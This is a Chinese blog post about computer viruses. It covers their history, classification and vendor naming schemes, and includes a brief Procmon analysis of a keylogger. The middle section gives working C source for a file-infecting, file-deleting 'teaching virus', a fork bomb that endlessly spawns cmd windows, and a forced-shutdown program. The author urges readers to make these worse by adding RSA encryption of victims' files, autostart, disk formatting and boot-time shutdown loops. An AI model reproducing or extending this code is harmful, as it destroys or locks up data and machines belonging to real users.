计算机病毒的一些印象

目录

参考文档

发展阶段

按照病毒的破坏性分类

按照传染方式分类

需要注意的一些地方

一些病毒的源码

1. 教学病毒

2. 一些小病毒

病毒命名

卡巴斯基(俄罗斯)命名

瑞星(中国)的命名

其他概念

KeyLog 病毒分析

?每日分享?:


参考文档

病毒初识-认知、工具与简单分析_Fasthand_的博客-CSDN博客

病毒:关于病毒的一些东西(附带一些自己写的病毒程序)_薯片薯条的博客-CSDN博客

病毒详解及批处理病毒制作:自启动、修改密码、定时关机、蓝屏、进程关闭..._CSDN资讯的博客-CSDN博客

发展阶段

DOS 引导阶段(“小球”、2708 病毒和“石头” 病毒)

DOS 可执行阶段 (“耶鲁撒冷”、“星期天” 等病毒)

伴随型阶段(“金蝉” 病毒)

变形阶段( “幽灵病毒”“一半”)

变种阶段(“病毒制造机” VCL)

蠕虫阶段(“蠕虫”)

20fedaecbfc85edf029eba1b918b9373.png

PE 文件病毒(CIH)

宏病毒阶段

互联网病毒阶段(“尼姆达”、“欢乐时光” 、“欢乐谷”、「“冲击波”」

按照病毒的破坏性分类

良性病毒:仅仅显示信息、奏乐、发出声响,自我复制的。除了传染时减少磁盘的可用空间外,对系统没有其它影响。

5f9453343d3e2685a4d3e7df512158f5.gif

恶性病毒:封锁、干扰、中断输入输出、使用户无法打印等正常工作,甚至电脑中止运行。这类病毒在计算机系统操作中造成严重的错误。

极恶性病毒:死机、系统崩溃、删除普通程序或系统文件,破坏系统配置导致系统死机、崩溃、无法重启。 这些病毒对系统造成的危害,并不是本身的算法中存在危险的调用,而是当它们传染时会引起无法预料的和灾难性的破坏。

63edf7801ba0aded8db1683b8c5e83d6.gif

灾难性病毒:破坏分区表信息、主引导信息、FAT,删除数据文件,甚至「格式化硬盘」等。

按照传染方式分类

文件型病毒:一般只传染磁盘上的可执行文件(COM,EXE)。在用户调用染毒的可执行文件时,病毒首先被运行,然后病毒驻留内存伺机传染其他文件或直接传染其他文件。其特点是附着于正常程序文件,成为程序文件的一个外壳或部件。这是较为常见的传染方式。

混合型病毒:兼有以上两种病毒的特点,既染引导区又染文件,因此扩大了这种病毒的传染途径。

需要注意的一些地方

木马, 病毒, 漏洞是不同的「三种东西」

木马主要是黑客用作给电脑留后门。

其次是病毒. 指对电脑造成破坏的程序。

最后一个就是漏洞,是指计算机系统安全方面的缺陷。

ed3f10387ce8cb9b7f7c2d71b91140d0.gif

一些病毒的源码

1. 教学病毒

首先先说一下这个病毒的基本作用.

  1. 感染文件
  2. 病毒会将某个目录下的文件进行感染, 下面两张图是感染前后的对比.

531a6215eccf40bcb6954bd903096bb2.png

31bdac7118f121e7db54a6a45d9ef1c3.png

?可以看到, 文件内容发生了变化.?


2. 制造垃圾文件


程序运行以后, 会在某个目录下生成一些系统的临时文件。

a467ad48e2b8dd314fd193629782f788.png

78cef56632f437cb23cd17a3d34c777c.png


3. 删除文件


顾名思义, 删除某个目录下特定的文件, 比如以. txt 结尾的文件.

运行病毒的程序之前步骤

这个病毒是感染特定目录下的文件, 因此需要提前创建一个目录, 并且在这个目录下创建一些文件.

3a6d9c30cc2716b2f0007d97c1e38522.png

创建一个文件夹 virus. 然后在这个文件夹下创建两个文件, 文件名如图. E_KILL.c 是当病毒感染文件以后的文件内容.


在 E_KILL.c 文件中写入以下代码.


#include<stdio.h>
#include<Windows.h>

int main(void)
{
    printf("It is virus\n");
    system("pause");
    return 0;
}

另一个 viruse.c 就是我们病毒的源码。


接着就是 temp 文件夹了, 这个文件夹就是要被感染的目标文件夹, 按照如图创建.

16ce115f553d6994a4146cb9d80dab23.png

s.txt 和 a.docx 是两个空的文件, 另外两个文件写入以下内容:

#include<stdio.h>
#include<Windows.h>

int main(void)
{
    printf("TEST\n");
    printf("TEST\n");
    printf("TEST\n");
    printf("TEST\n");
    printf("TEST\n");
    system("pause");
    return 0;
}

病毒源码

#include<stdio.h>
#include<io.h>
#include<Windows.h>
#include<stdlib.h>
#include<string.h>
#include <direct.h>

#define INFECT_PATH "F:\\20年 上\\网络安全\\讲课-病毒\\virus\\temp"
#define DELETE_FILE1 "F:\\20年 上\\网络安全\\讲课-病毒\\virus\\temp\\*.txt"
#define DELETE_FILE2 "F:\\20年 上\\网络安全\\讲课-病毒\\virus\\temp\\*.docx"
#define CREAT_EXE1 "F:\\20年 上\\网络安全\\讲课-病毒\\virus\\temp\\worm.exe"
#define CREAT_EXE2 "F:\\20年 上\\网络安全\\讲课-病毒\\virus\\temp\\virus.exe"
#define Targetfile "F:\\20年 上\\网络安全\\讲课-病毒\\virus\\temp\\*.c"
#define Virusfile "F:\\20年 上\\网络安全\\讲课-病毒\\virus\\E_KILL.c"
//使用了很多宏定义.这些都是后面会用得到的,需要改成你自己的文件路径,记得用两个斜杠做分隔符.
void MakeRubbish(void);
void CreatEXE(void);
void Remove(void);
void InfectFile(void);
void copyfile(char* infile,char *outfile);
//函数声明

void MakeRubbish(void)
{
    int i=0;
    FILE *fp=NULL;
    char* path=NULL;
    char* NewName=NULL;
    char tempname[]="XXXXXX";
//这个是生成临时文件的文件名,几个×就代表几个随机字符.
    path=INFECT_PATH;   

    if(!_chdir(path))
    {
        printf("open DIR success\n");
    }
    else
    {
        printf("open DIR failed\n");
        perror("Error: ");
    }
//_chdir函数用于改变当前工作目录,将当前工作目录改成了宏定义的目录
    NewName=_mktemp(tempname);
    fp=fopen(NewName,"w");
    fclose(fp);
//创建临时文件
}

void CreatEXE(void)
{
    int i;
    char* s[2]={CREAT_EXE1,CREAT_EXE2};
    for(i=0;i<2;i++)
    {
        open(s[i],0x0100,0x0080);
        //创建垃圾程序,open第二个参数是创建并且打开文件,第三个参数是写入的意思
        copyfile(Virusfile,s[i]);
        //将开始那个E_KILL文件内容复制到新创建的exe文件当中.
    }
}

void Remove(void)
{
    int done;
    int i;

    struct _finddata_t ffblk;
    char *documenttype[2] = {DELETE_FILE1,DELETE_FILE2}; 
    for (i = 0; i < 2; i++)
    {
        done = _findfirst(documenttype[i],&ffblk);
        if(done!=-1)
        {
            printf("delete %s\n",ffblk.name);
            remove(ffblk.name);                             
            while (!_findnext(done,&ffblk))
            {
                printf("delete %s\n",ffblk.name);
                remove(ffblk.name);                         
            }
        }
        _findclose(done);
    }
    //这个原理比较简单,就是进行了一个查找,然后删除.就不赘述了.
}


void copyfile(char* infile,char* outfile)
{
    FILE *in,*out;
    in=fopen(infile,"r");
    out=fopen(outfile,"w");
    while(!feof(in))
    {
        fputc(fgetc(in),out);
    }
    fclose(in);
    fclose(out);
}
//感染文件子函数
void InfectFile(void)
{
    int done;
    int i;

    struct _finddata_t ffblk;
    char *documenttype = Targetfile;

    done = _findfirst(documenttype,&ffblk);
    copyfile(Virusfile,ffblk.name);
    while (!_findnext(done,&ffblk))
    {
        copyfile(Virusfile,ffblk.name); //感染
    }
    _findclose(done);
}
//对文件进行感染,原理其实就是将病毒文件进行复制即可.

/*This is a flag:end*/
int main(void)
{
    MakeRubbish( );
    CreatEXE( );
    Remove( );
    InfectFile( );
    system("pause");
    return 0;
}
//主程序

运行的时候用管理员身份打开。

很多病毒的雏形。大概就是这样


比如可以对这个源码进行修改, 将一个「死循环」加到创建垃圾文件, 那么效果就是一直创建垃圾文件, 直到电脑内存被「全部占满」


在比如, 可以将单纯的复制文件改为对文件进行 rsa 加密, ?这样会比摧毁文件更让人头疼.?

运行结果

017c167bd5b004a1f7423597d798a6fa.png

可以看到, 文件夹中被创建了一个叫做 a14192 的临时文件, 这个就是我们的功能之一.
接着打开 e.c, 可以看到文件已经变成了如图所示的内容.

26fd4a66f15f839bc9e0e20281c2ddd3.png

由此可见, 我们的文件已经被成功感染.

当然, 这个病毒是非常简单的一种, 你可以对功能进行一些扩充, 比如写入注册表设置自启动, 比如格式化某个硬盘… 等等等等, 这个就看你了.

watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA55WZ5LuA5LmI57uq,size_15,color_FFFFFF,t_70,g_se,x_16

2. 一些小病毒

死机病毒

运行结果如图:

92c73b1842c6fc97dd00d5a530b7ddea.png

此刻我的虚拟机死机, 「只能重启」

01a67904f280e0afd0b4b90dd007c5d0.png

这个病毒的原理就是一直在打开 cmd 界面, 最后系统资源耗尽, 然后死机. 这次我打开性能监视器, 如图.

d20a413800cdb2abc21328b40f817ab1.png

短短几秒钟, 进程就达到了 500 多个. 如果在加上上面的那个开机自启动脚本, 想想看, 后果是不是很可怕?
直接上源码.

#include <stdio.h>
int main(){
    while(1)
    system("start cmd");
    //我写了一个死循环,然后执行cmd命令.这个命令就是打开cmd窗口,为什么要加start呢?这个可以百度一下为什么.
    return 0;
}

代码很简单, 但是效果还是很猛的. 这个的原理和 %0 病毒是相似的.

重启病毒

重启是真的重启, 运行以后会让电脑直接关机. 如果配合上自启动脚本, 效果就是开机就关机, 开机就关机, 开机就…

威力还是比较可观的. 截图我就不上了, 直接放代码.

#include <stdio.h>
int main(){
    system("shutdown -s -t 0");
    //调用cmd命令,-s是关机的意思,-t 0 是设置0秒以后关机的意思
    return 0;
}

首先, 运行病毒 1 里面的自启动脚本 (记得改文件名), 然后关机, 在开机, 病毒就开始执行了.

最后这个病毒是威力最大的一个, 因为你连机都开不了, 谈何删除病毒?

当然, 你可以进入安全模式进行删除, 而那些不懂这些的人可就遭了殃了.

上面三个其实可以直接在病毒程序中添加自启动命令的, 但是我的编译器一编译就会自动执行程序, 因此我写成了两个, 不然自己的病毒把自己感染了就出大事了.

病毒命名

卡巴斯基(俄罗斯)命名

一般情况下,卡巴斯基中的病毒名分为四个部分。

第一部分表示计算机病毒的主类型名和子类型名

第二部分表示计算机病毒运行的平台

第三部分表示计算机病毒所属的家族名

第四部分是变种名。

示例:

1.Trojan-Downloader.Win32.Agent.blm

Trojan-Downloader 字段表示病毒所属类型以及子类型,这个命名指的是此病毒属于木马类,而 Downloader 的意思是木马中的下载者病毒。

Win32 指的是此病毒的运行平台是 32 位的 Windows 系统

Agent 是指病毒的家族名,家族是指同一个组织,或同一个人缩写的功能相近、编译语言相同的一类病毒

blm 指该家族名下的变种名。因为同一个家族下会有很多功能相近但不完全相同的病毒,就用变种名区分。

2.Backdoor.Win32.Hupigon.zqf

这个命名是指该病毒属于后门(Blacdoor)类,运行于 32 位的 Windows 平台下,是灰鸽子家族(Hupigon)家族,变种名位 zqf

3.Worm.Win32.Delf.bd

该病毒属于蠕虫病毒,运行于 32 位 windows 平台下,属于 Delf 家族(Delf 家族通常指由 Delphi 语言编写的病毒,变种名为 bd)

4.Worm.Win32.Delf.be

说明与上面各方面相似,但是不是同一个病毒

瑞星(中国)的命名

一般情况下瑞星病毒的命名分为五个部分,第一部分是病毒的主类名,第二部分是子类型名,第三部分是病毒运行的平台,第四部分是病毒所属的家族名,第五部分是变种名。

1.Trojan.PSW.Win32.OnlineGames.GEN

和卡巴斯基命名相似,此病毒名表示该病毒属于木马类,并且是木马中的盗密码类,运行于 32 位的 win 平台,家族名是 OnLineGames(表示盗窃网络银行、在线游戏密码的病毒),变种名为 GEN。

2.Worm.Win32.VB.zbn

此命名表示该病毒属于蠕虫类,运行于 32 位的 Windows 平台,家族名是 VB(VB 编写),变种名是 zbn

其他概念

浏览器劫持:是一种不同于普通病毒木马感染途径的网络攻击手段,它是利用各种技术(如 DLL 插件等)对用户的浏览器进行篡改,改装后,它们会成为浏览器的一部分,可以直接控制浏览器进行指定的操作。

GUID:Globally Unique Identifier, 全局惟一标志符,在 Windows 系统中也被称为 Class ID 缩写为 CLSID。对于不同的应用程序、文件类型、OLE 对象、特殊文件以及各种系统组件,Windows 都会分配惟一表示它的 ID。

CLSID 是一个 128 位的随机数,其算法主要从两方面入手保证随机性和不重复。1. 一部分数字来自系统网卡的序列号,由于每个网卡的 MAC 地址都不一样所以产生的 ID 也会有差异。2. 另外一部分的数字来自于系统的当前时间。

KeyLog 病毒分析

我们使用 Procmon(processMonitor)进行分析。首先我们设置过滤器,其中对监控进程、注册表、操作等进行监控编辑。其操作如下:

e096c602259d3457916268e49f18b629.png

对高亮进行编辑操作。

12d4fd47a5b57c5553bbfe60d3d8667d.png

开始监控以后我们得到了很多的进程、操作信息。

ed078064fd3c4a40d9f27fa12138fe4c.png

进行一段分析后我们能看到 KeyLog 的操作状态,它会创建一个进程并且启动该进程,在我们进行点击或者键盘事件达到一定次数就会启动 WriteFile 操作,将信息写入 log.txt。而且,KeyLog 一直不会退出。

a4b2c5f126f1f3aba646d754bbfb0985.png

进行一段分析后我们能看到 KeyLog 的操作状态,它会创建一个进程并且启动该进程,在我们进行点击或者键盘事件达到一定次数就会启动 WriteFile 操作,将信息写入 log.txt。而且,KeyLog 一直不会退出。

f0435a4720b44a4cab9279b799dd6214.gif


?每日分享?:

在这里,最根本的原因无疑在于人最原初的、因而也是不可改变的机体组织的构成;也就是说,大致上在于一个人的感觉能力与肌肉活动、兴奋能力及机体新陈代谢能力之间构成的正常程度不一的比例。超常的感觉能力会引致情绪失衡、周期性的超乎寻常的愉快或者挥之不去的忧郁。天才的条件就是具备超越常人的神经力量——亦即超常的感觉能力。所以,亚里士多德相当正确地认为:所有杰出、优越的人都是忧郁的:“所有那些无论是哲学、政治学、诗歌或其他艺术方面表现出色的人,看上去都是忧郁的”。西塞罗在讲述下面这句经常被人们引用的话时,他所指的肯定也是上述那段话:“亚里士多德说,所有的天才人物都是忧郁的。”

一《人生的智慧 第二章 基本的划分》


版权声明:本文为phpppppppppp原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。